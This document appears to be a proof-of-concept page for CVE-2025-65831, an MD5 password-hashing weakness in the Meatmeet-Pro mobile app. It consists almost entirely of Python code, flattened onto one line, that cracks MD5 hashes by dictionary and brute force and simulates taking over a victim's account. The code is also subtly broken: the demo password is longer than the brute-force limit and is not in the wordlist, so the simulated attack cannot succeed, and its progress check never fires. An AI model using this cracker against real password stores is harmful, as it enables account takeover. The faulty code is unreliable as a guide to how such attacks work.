CVE-2025-65831 Meatmeet-Pro移动应用MD5密码哈希漏洞

# CVE-2025-65831 PoC - MD5 Password Hash Cracking # This PoC demonstrates the vulnerability of MD5 password hashing import hashlib import itertools import string from typing import Optional def md5_hash(password: str) -> str: """Generate MD5 hash of password""" return hashlib.md5(password.encode()).hexdigest() def crack_md5_hash(target_hash: str, max_length: int = 8) -> Optional[str]: """ Crack MD5 hash using dictionary and brute force attack This PoC demonstrates how weak MD5 is for password storage """ # Common password dictionary common_passwords = [ 'password', '123456', 'admin', 'qwerty', 'letmein', 'welcome', 'monkey', 'dragon', 'master', 'login' ] # Try common passwords first for pwd in common_passwords: if md5_hash(pwd) == target_hash.lower(): return pwd # Brute force for short passwords chars = string.ascii_lowercase + string.digits for length in range(1, max_length + 1): for attempt in itertools.product(chars, repeat=length): pwd = ''.join(attempt) if md5_hash(pwd) == target_hash.lower(): return pwd # Progress indicator if len(attempt) % 100000 == 0: print(f"[*] Testing: {pwd}") return None def simulate_attack_scenario(): """ Simulate the attack scenario described in CVE-2025-65831 """ print("=" * 60) print("CVE-2025-65831 Attack Simulation") print("Target: Meatmeet-Pro MD5 Password Hash") print("=" * 60) # Example weak password weak_password = "admin123" password_hash = md5_hash(weak_password) print(f"[+] Target Hash: {password_hash}") print(f"[*] Starting crack attempt...") cracked = crack_md5_hash(password_hash, max_length=6) if cracked: print(f"[!] SUCCESS: Password cracked: {cracked}") print(f"[!] Attacker can now access victim's account") else: print(f"[-] Failed to crack within time limit") if __name__ == "__main__": simulate_attack_scenario()